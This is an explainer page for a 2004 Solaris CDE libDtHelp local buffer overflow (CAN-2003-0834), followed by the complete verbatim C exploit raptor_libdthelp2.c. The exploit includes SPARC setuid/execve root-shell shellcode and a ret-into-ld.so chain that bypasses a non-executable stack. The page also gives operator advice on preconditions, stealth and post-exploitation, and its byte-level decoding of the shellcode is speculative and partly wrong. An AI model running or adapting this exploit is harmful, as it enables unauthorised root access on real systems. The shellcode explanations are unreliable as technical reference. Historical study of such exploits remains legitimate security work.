Solaris CDE LibDTHelp Local Buffer Overflow Explained

Solaris CDE LibDTHelp Local Buffer Overflow Explained
What this paper is
This paper details a local buffer overflow vulnerability in the libDtHelp.so library on Solaris 7, 8, and 9 systems. The vulnerability, identified as CAN-2003-0834, can be exploited by local users to execute arbitrary code with elevated privileges. The exploit leverages a modified DTHELPUSERSEARCHPATH or DTHELPSEARCHPATH environment variable to trigger the overflow. This specific exploit focuses on a "ret-into-ld.so" technique, which is designed to bypass non-executable stack protections (like noexec_user_stack=1).
Simple technical breakdown
The core of the vulnerability lies in how the libDtHelp.so library handles certain environment variables. When the dtprintinfo utility (or a similar CDE helper function) is invoked, it might process these environment variables. If a specially crafted value is provided for DTHELPSEARCHPATH (or related variables), it can cause a buffer overflow.
This exploit takes advantage of this overflow to overwrite critical data on the stack, specifically the return address. Instead of returning to the legitimate caller, the program is tricked into jumping to a location controlled by the attacker.
The exploit uses a technique called "return-to-libc" or, more specifically, "return-into-ld.so." This means the attacker doesn't inject their shellcode directly into the overflowing buffer. Instead, they overwrite the return address to point to an existing function within the dynamic linker (ld.so.1) that can then be used to call other functions, such as execve(), to execute arbitrary commands. This method is effective even when the stack is non-executable.
The exploit also includes shellcode that performs a setuid(0) operation twice, followed by an execve() call to execute /bin/ksh (a shell), effectively granting root privileges.
Complete code and payload walkthrough
The provided C code (raptor_libdthelp2.c) is an exploit for the described vulnerability. Let's break down its components:
1. Header and Definitions:
/* ... */: Comments providing information about the exploit, copyright, and the vulnerability (CAN-2003-0834).#include <...>: Standard C library headers for file operations, dynamic linking, process information, standard I/O, memory manipulation, string operations, system calls, and system information.#define INFO1,#define INFO2: Strings for displaying exploit information.#define VULN "/usr/dt/bin/dtprintinfo": The target executable that is likely setuid root and uses the vulnerable library.#define BUFSIZE 1200: The size of the main buffer used for the overflow.#define VARSIZE 1024: The size of auxiliary buffers used for environment variables.#define FFSIZE 64 + 1: The size of the "fake frame" structure used for stack manipulation.#define DUMMY 0xdeadbeef: A placeholder value for unused stack locations./* voodoo macros */: These macros (VOODOO32,VOODOO64) are used to calculate offsets on the stack, accounting for differences between 32-bit and 64-bit architectures and potential alignment issues. They are crucial for precisely placing data on the stack.
2. Shellcode (sc):
char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";- This is the actual payload that will be executed. It's written in Solaris/SPARC assembly.
\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08(x2): This sequence represents thesetuid(0)system call. It's executed twice to ensure the process gains root privileges.\x90\x08\x3f\xff:nop(no operation) or similar, used for alignment or padding.\x82\x10\x20\x17: Likely setting up the system call number forsetuid.\x91\xd0\x20\x08: Likely executing thesetuidsystem call.
\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff: These bytes are likely part of theexecve()system call setup. They might be setting up arguments or the system call number.\x20\xbf\xff\xff: Could be setting up the first argument (path to executable).\x20\xbf\xff\xff: Could be setting up the second argument (argument vector).\x7f\xff\xff\xff: Could be setting up the third argument (environment vector).
\x90\x03\xe0\x20\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14\x82\x10\x20\x0b\x91\xd0\x20\x08: This is the coreexecve()system call execution.\x90\x03\xe0\x20: Likely setting up the system call number forexecve.\x92\x02\x20\x10: Setting up the first argument forexecve(pointer to/bin/ksh).\xc0\x22\x20\x08,\xd0\x22\x20\x10,\xc0\x22\x20\x14: These bytes are likely setting up the argument vector (argv) and environment vector (envp) forexecve.\x82\x10\x20\x0b: Likely executing theexecvesystem call.
/bin/ksh: This is a string literal embedded within the shellcode, representing the path to the shell thatexecve()will launch.
3. Global Variables:
char *env[256];: An array to store environment variables for theexecvecall.int env_pos = 0, env_len = 0;: Counters for the environment variable array.
4. Function Prototypes:
add_env(): A helper function to add strings to theenvarray and handle padding.check_zero(): A function to check if a given address contains null bytes, which can cause issues with string operations.search_ldso(): Searches for the address of a specific symbol (likestrcpy) within the dynamic linker (ld.so.1).search_rwx_mem(): Searches for a readable, writable, and executable memory segment within the current process, typically for placing shellcode.set_val(): A helper function to write a 4-byte integer value into a character buffer.
5. main() Function:
- Variable Declarations: Declares buffers (
buf,var1,var2,ff) and variables to store system information (platform,release,display). - Command Line Argument Parsing: Expects one argument: the X server display string (e.g.,
192.168.1.1:0). - System Information Gathering: Uses
sysinfo()to get the platform and release version of Solaris. - Buffer Initialization:
buf: Initialized with 'A's and then prepended with "DTHELPSEARCHPATH=". This buffer will be used to trigger the overflow.var1,var2: Initialized with 'B's and 'C's, respectively. These will be used to construct parts of the exploit payload and control flow.ff: A zeroed buffer for the "fake frame."
- Fake Frame Construction (
ff):- The code meticulously sets up a "fake frame" on the stack. This structure mimics a function's stack frame, containing saved registers.
set_val(ff, i = 0, DUMMY); /* %l0 */ ... set_val(ff, i += 4, DUMMY); /* %l7 */: Initializes savedl(local) registers with dummy values.set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */: Sets the first argument (%i0) for thestrcpyfunction to the address of a writable/executable memory region (rwx_mem). This is where the shellcode will likely be placed.set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */: Sets the second argument (%i1) forstrcpyto a placeholder value. This will be overwritten later.set_val(ff, i += 4, DUMMY); /* %i2 */ ... set_val(ff, i += 4, DUMMY); /* %i5 */: Initializes other savedi(input) registers.set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */: Sets the frame pointer (%i6) to a value relative to the stack base.set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */: Crucially, this sets the return address (%i7) to point to a location just before the shellcode in therwx_memregion. This is the core of the "return-into-ld.so" technique, asstrcpywill eventually return to this address.
- Environment Variable Population (
add_env):sc_addr = add_env(ff);: Adds the fake frame to the environment.sc_addrwill hold the address of the fake frame in the environment.var1_addr = add_env(sc);: Adds the shellcode to the environment.var1_addrwill hold the address of the shellcode.var2_addr = add_env(var1);: Addsvar1to the environment.add_env(var2);: Addsvar2to the environment.add_env(display);,add_env("PATH=..."),add_env("HOME=/tmp"): Adds standard environment variables.add_env(buf);: Adds theDTHELPSEARCHPATHbuffer to the environment. This is the variable that will be processed by the vulnerable library.add_env(NULL);: Terminates the environment variable list.
- Address Calculation and Offset Determination:
- The code calculates the offset between the start of the program's stack and the
argv[0]pointer. VOODOO64andVOODOO32macros are used to adjust this offset based on the Solaris architecture (64-bit vs. 32-bit) and the positions of arguments and environment variables. This is critical for correctly calculating where the fake frame and shellcode will reside in memory relative to the overflowed buffer.ff_addr,sc_addr,var1_addr,var2_addr: These variables are calculated to represent the actual memory addresses of the fake frame, shellcode, and other payload components in the process's address space.
- The code calculates the offset between the start of the program's stack and the
- Fake Frame Modification:
set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */: This is a critical step. It overwrites the second argument (%i1) of the fakestrcpycall within the fake frame. It's set to the address of the shellcode (sc_addr). This means whenstrcpyis called (indirectly via the exploit), it will attempt to copy the shellcode.
- Buffer and Environment Variable Filling:
- The
buf(theDTHELPSEARCHPATHvariable) is filled with addresses that will be used to control the flow.set_val(buf, i, var1_addr - 5000);: Fills parts of the buffer with an address that likely points tovar1, offset by a large amount. This might be a padding or a way to ensure the overflow reaches the desired point.set_val(buf, i, ff_addr);: Overwrites a portion of the buffer with the address of the fake frame. This is likely part of the exploit's mechanism to ensure the overflow lands correctly.set_val(buf, i += 4, ret - 4); /* strcpy(), after the save */: Overwrites another part of the buffer with the address ofstrcpyplus a small offset. This is where thestrcpyfunction will return to after its prologue (saving registers), which is where the fake frame is placed.
- The
var1andvar2buffers are filled with addresses that will be used by theld.so.1functions to chain calls.set_val(var1, i, var2_addr - 500);: Fillsvar1with an address pointing tovar2with an offset.set_val(var2, i, ret - 8); /* ret, before strcpy() */: Fillsvar2with the address ofstrcpyminus 8 bytes. This is likely the address of the instruction beforestrcpyis called, which is where the exploit wants to redirect execution.
- The
- Output: Prints system information and calculated addresses for debugging.
- Execution:
execve(VULN, arg, env);This is the final step. It attempts to execute the vulnerable program (dtprintinfo) with the crafted arguments and environment variables. If the exploit is successful, theexecvecall will be replaced by the shellcode'sexecvecall, launching a root shell.
Mapping of code fragments to practical purpose:
buf(initialized with "DTHELPSEARCHPATH=") -> Triggers the vulnerability by being processed by the vulnerable library.ff(fake frame) -> Provides a controlled stack frame to overwrite saved registers, including the return address.sc(shellcode) -> The actual payload that performssetuid(0)andexecve("/bin/ksh").rwx_mem-> A memory region identified as safe for shellcode execution.ret = search_ldso("strcpy")-> Locates the address of thestrcpyfunction within the dynamic linker, which is a target for the return-into-ld.so technique.set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */-> Overwrites the return address on the stack to point to the start of the shellcode.set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */-> Sets the second argument of thestrcpycall within the fake frame to the address of the shellcode.set_val(buf, i += 4, ret - 4);-> Positions the overflow such that whenstrcpyis called, it will return to the fake frame.set_val(var2, i, ret - 8);-> Prepares a pointer that will be used byld.so.1to find thestrcpyfunction.execve(VULN, arg, env);-> Launches the vulnerable program with the crafted environment, initiating the exploit.
Practical details for offensive operations teams
- Required Access Level: Local user access is required. The attacker must be able to execute commands on the target system.
- Lab Preconditions:
- A Solaris 7, 8, or 9 system that is not patched for CAN-2003-0834. Specific patch numbers are listed in the paper.
- The target system must have the Common Desktop Environment (CDE) installed, as
libDtHelp.sois part of it. - The
dtprintinfoutility (or another program that useslibDtHelp.soin a vulnerable way) must be executable by the local user. Ideally, this target is setuid root. - A SPARC architecture is assumed due to the shellcode.
- Tooling Assumptions:
- A C compiler (like
gcc) is available on the target or a cross-compilation environment to build the exploit. The paper shows compilation withgcc raptor_libdthelp2.c -o raptor_libdthelp2 -ldl -Wall. - The exploit requires network access to the X server if the attacker wants to interact with the graphical environment (as suggested by the usage example). However, the core exploit is local.
- A C compiler (like
- Execution Pitfalls:
- Patching: The most significant pitfall is the presence of security patches. If the system is patched, the exploit will fail.
- Architecture Mismatch: The shellcode is specific to SPARC. It will not work on x86 or other architectures.
- Null Bytes: The exploit attempts to mitigate null bytes in addresses using
check_zero()andsearch_rwx_mem(). However, subtle variations in memory layout or system configurations could still lead to null byte issues, potentially requiring thesprintf()alternative mentioned in the paper. - Environment Variable Limits: The size of the environment can be limited by the operating system. If the exploit requires a very large environment, it might fail.
- Address Space Layout Randomization (ASLR): While ASLR was less common and sophisticated in the era of Solaris 7/8/9, if present and enabled, it could make predicting memory addresses more difficult, though this exploit relies on predictable locations within
ld.so.1and the process's memory map. - Target Program Behavior: The exploit assumes
dtprintinfo(or the chosen target) will process theDTHELPSEARCHPATHenvironment variable in a way that triggers the overflow inlibDtHelp.so. Changes in the target program's behavior or library versions could break this.
- Tradecraft Considerations:
- Reconnaissance: Identifying the Solaris version and patch level is critical. Tools like
uname -aand checking/etc/systemor patch management tools are essential. - Payload Delivery: The exploit needs to be compiled and placed on the target system. This could be done via a separate dropper or by having the attacker compile it remotely if a compiler is available.
- Privilege Escalation: The goal is typically to gain root privileges. The shellcode achieves this directly.
- Post-Exploitation: Once root is obtained, the attacker can proceed with further actions like data exfiltration, persistence, or lateral movement.
- Stealth: Exploiting local vulnerabilities can be stealthier than network-based attacks, as it doesn't involve network traffic that might be logged. However, the execution of
dtprintinfoand the subsequent shell might generate process-related logs.
- Reconnaissance: Identifying the Solaris version and patch level is critical. Tools like
Where this was used and when
- Context: This exploit targets vulnerabilities in the Common Desktop Environment (CDE) on Solaris. CDE was a popular graphical desktop environment for Unix systems in the late 1990s and early 2000s.
- Timeframe: The vulnerability was published in December 2004. Exploits for such vulnerabilities are typically developed and released shortly after the vulnerability is discovered or disclosed. Therefore, its active use would likely have been in the mid-2000s.
- Usage: It would have been used by attackers with local access to Solaris systems to escalate privileges. This could include:
- Compromised user accounts on a Solaris server.
- Malicious insiders.
- Attackers who had already gained initial access through other means and were looking to escalate privileges.
Defensive lessons for modern teams
- Patch Management: This is the most obvious lesson. Regularly applying security patches to operating systems and all installed software is paramount. Unpatched systems are low-hanging fruit.
- Environment Variable Security: Be cautious about how applications process environment variables, especially those that can influence library loading or search paths. Sanitize or validate such inputs.
- Buffer Overflow Awareness: While modern systems have mitigations like ASLR, DEP/NX, and stack canaries, understanding buffer overflow mechanics is still crucial for analyzing legacy systems or novel bypasses.
- Least Privilege: Applications should run with the minimum privileges necessary. Setuid binaries are a common target for privilege escalation, so their security must be rigorously maintained.
- Code Auditing and Static Analysis: Tools that can analyze code for potential vulnerabilities like buffer overflows and insecure library usage are valuable.
- Dynamic Analysis and Fuzzing: Testing applications with unexpected or malformed inputs can uncover vulnerabilities before they are exploited in the wild.
- Understanding Legacy Systems: Many organizations still run older systems. Understanding the vulnerabilities and exploit techniques relevant to these systems is important for securing them.
ASCII visual (if applicable)
This exploit primarily manipulates the stack and environment variables within a single process. A complex architecture diagram isn't strictly necessary for understanding the core mechanism. However, we can visualize the process memory layout and the exploit's impact:
+-----------------------+
| Kernel Space |
+-----------------------+
| |
| User Space |
| +-------------------+ |
| | Code (.text) | |
| +-------------------+ |
| | Data (.data) | |
| +-------------------+ |
| | BSS (.bss) | |
| +-------------------+ |
| | | |
| | Stack | |
| | +---------------+ | |
| | | Args | | |
| | +---------------+ | |
| | | Env Vars | | |
| | | +-----------+ | | |
| | | | DTHELP... | | | |
| | | +-----------+ | | |
| | | | var1 | | | |
| | | +-----------+ | | |
| | | | var2 | | | |
| | | +-----------+ | | |
| | | | ff (fake) | | | |
| | | +-----------+ | | |
| | | | Shellcode | | | | <--- rwx_mem region
| | | +-----------+ | | |
| | | Saved Ret Addr| | | <--- Overwritten by exploit
| | +---------------+ | |
| +-------------------+ |
| |
| Heap |
| |
+-----------------------+Explanation:
- The diagram shows a simplified view of a process's memory.
- The Stack is where local variables, function arguments, and return addresses are stored.
- The Environment Variables are typically placed in memory before the stack.
- The exploit crafts the
DTHELPSEARCHPATHvariable and other environment variables (var1,var2,ff) which are placed in memory. - The
ff(fake frame) is a crucial part of the payload, containing a manipulated return address (%i7) that points into therwx_memregion. - The
rwx_memregion is where the shellcode is placed. - When the vulnerable function (e.g.,
strcpy) is called and attempts to return, it's redirected to the fake return address, which then executes the shellcode.
Source references
- Paper ID: 714
- Paper Title: Solaris 7/8/9 CDE LibDTHelp - Local Buffer Overflow (2)
- Author: Marco Ivaldi
- Published: 2004-12-24
- Keywords: Solaris, local
- Paper URL: https://www.exploit-db.com/papers/714
- Raw URL: https://www.exploit-db.com/raw/714
Original Exploit-DB Content (Verbatim)
/*
* $Id: raptor_libdthelp2.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_libdthelp2.c - libDtHelp.so local, Solaris/SPARC 7/8/9
* Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Buffer overflow in CDE libDtHelp library allows local users to execute
* arbitrary code via a modified DTHELPUSERSEARCHPATH environment variable
* and the Help feature (CAN-2003-0834).
*
* "Stay with non exec, it keeps you honest" -- Dave Aitel (0dd)
*
* Possible attack vectors are: DTHELPSEARCHPATH (as used in this exploit),
* DTHELPUSERSEARCHPATH, LOGNAME (those two require a slightly different
* exploitation technique, due to different code paths).
*
* This is the ret-into-ld.so version of raptor_libdthelp.c, able to bypass
* the non-executable stack protection (noexec_user_stack=1 in /etc/system).
*
* NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory
* space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes).
*
* Usage:
* $ gcc raptor_libdthelp2.c -o raptor_libdthelp2 -ldl -Wall
* [on your xserver: disable the access control]
* $ ./raptor_libdthelp2 192.168.1.1:0
* [on your xserver: enter the dtprintinfo help]
* # id
* uid=0(root) gid=1(other)
* #
*
* Vulnerable platforms:
* Solaris 7 without patch 107178-03 [tested]
* Solaris 8 without patch 108949-08 [tested]
* Solaris 9 without patch 116308-01 [tested]
*/
#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_libdthelp2.c - libDtHelp.so local, Solaris/SPARC 7/8/9"
#define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // default setuid target
#define BUFSIZE 1200 // size of the evil buffer
#define VARSIZE 1024 // size of the evil env vars
#define FFSIZE 64 + 1 // size of the fake frame
#define DUMMY 0xdeadbeef // dummy memory address
/* voodoo macros */
#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}
char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
/* globals */
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], var1[VARSIZE], var2[VARSIZE], ff[FFSIZE];
char platform[256], release[256], display[256];
int i, offset, ff_addr, sc_addr, var1_addr, var2_addr;
int plat_len, prog_len, rel;
char *arg[2] = {"foo", NULL};
int arg_len = 4, arg_pos = 1;
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
int ret = search_ldso("strcpy"); /* or sprintf */
int rwx_mem = search_rwx_mem();
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* read command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
/* get some system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
rel = atoi(release + 2);
/* prepare the evil buffer */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
memcpy(buf, "DTHELPSEARCHPATH=", 17);
/* prepare the evil env vars */
memset(var1, 'B', sizeof(var1));
var1[sizeof(var1) - 1] = 0x0;
memset(var2, 'C', sizeof(var2));
var2[sizeof(var2) - 1] = 0x0;
/* prepare the fake frame */
bzero(ff, sizeof(ff));
/*
* saved %l registers
*/
set_val(ff, i = 0, DUMMY); /* %l0 */
set_val(ff, i += 4, DUMMY); /* %l1 */
set_val(ff, i += 4, DUMMY); /* %l2 */
set_val(ff, i += 4, DUMMY); /* %l3 */
set_val(ff, i += 4, DUMMY); /* %l4 */
set_val(ff, i += 4, DUMMY); /* %l5 */
set_val(ff, i += 4, DUMMY); /* %l6 */
set_val(ff, i += 4, DUMMY); /* %l7 */
/*
* saved %i registers
*/
set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */
set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */
set_val(ff, i += 4, DUMMY); /* %i2 */
set_val(ff, i += 4, DUMMY); /* %i3 */
set_val(ff, i += 4, DUMMY); /* %i4 */
set_val(ff, i += 4, DUMMY); /* %i5 */
set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */
set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */
/* fill the envp, keeping padding */
sc_addr = add_env(ff);
var1_addr = add_env(sc);
var2_addr = add_env(var1);
add_env(var2);
add_env(display);
add_env("PATH=/usr/bin:/bin:/usr/sbin:/sbin");
add_env("HOME=/tmp");
add_env(buf);
add_env(NULL);
/* calculate the offset to argv[0] (voodoo magic) */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = arg_len + env_len + plat_len + prog_len;
if (rel > 7)
VOODOO64(offset, arg_pos, env_pos)
else
VOODOO32(offset, plat_len, prog_len)
/* calculate the needed addresses */
ff_addr = sb - offset + arg_len;
sc_addr += ff_addr;
var1_addr += ff_addr;
var2_addr += ff_addr;
/* set fake frame's %i1 */
set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */
/* fill the evil buffer */
for (i = 17; i < BUFSIZE - 76; i += 4)
set_val(buf, i, var1_addr - 5000);
/* apparently, we don't need to bruteforce */
set_val(buf, i, ff_addr);
set_val(buf, i += 4, ret - 4); /* strcpy(), after the save */
/* fill the evil env vars */
for (i = 0; i < VARSIZE - 8; i += 4)
set_val(var1, i, var2_addr - 500);
for (i = 0; i < VARSIZE - 8; i += 4)
set_val(var2, i, ret - 8); /* ret, before strcpy() */
/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using var1 address\t: 0x%p\n", (void *)var1_addr);
fprintf(stderr, "Using var2 address\t: 0x%p\n", (void *)var2_addr);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return(env_len);
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return(env_len);
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
check_zero(addr - 8, sym); /* addr - 8 is the ret before strcpy() */
return(addr);
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return(addr_old);
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
// milw0rm.com [2004-12-24]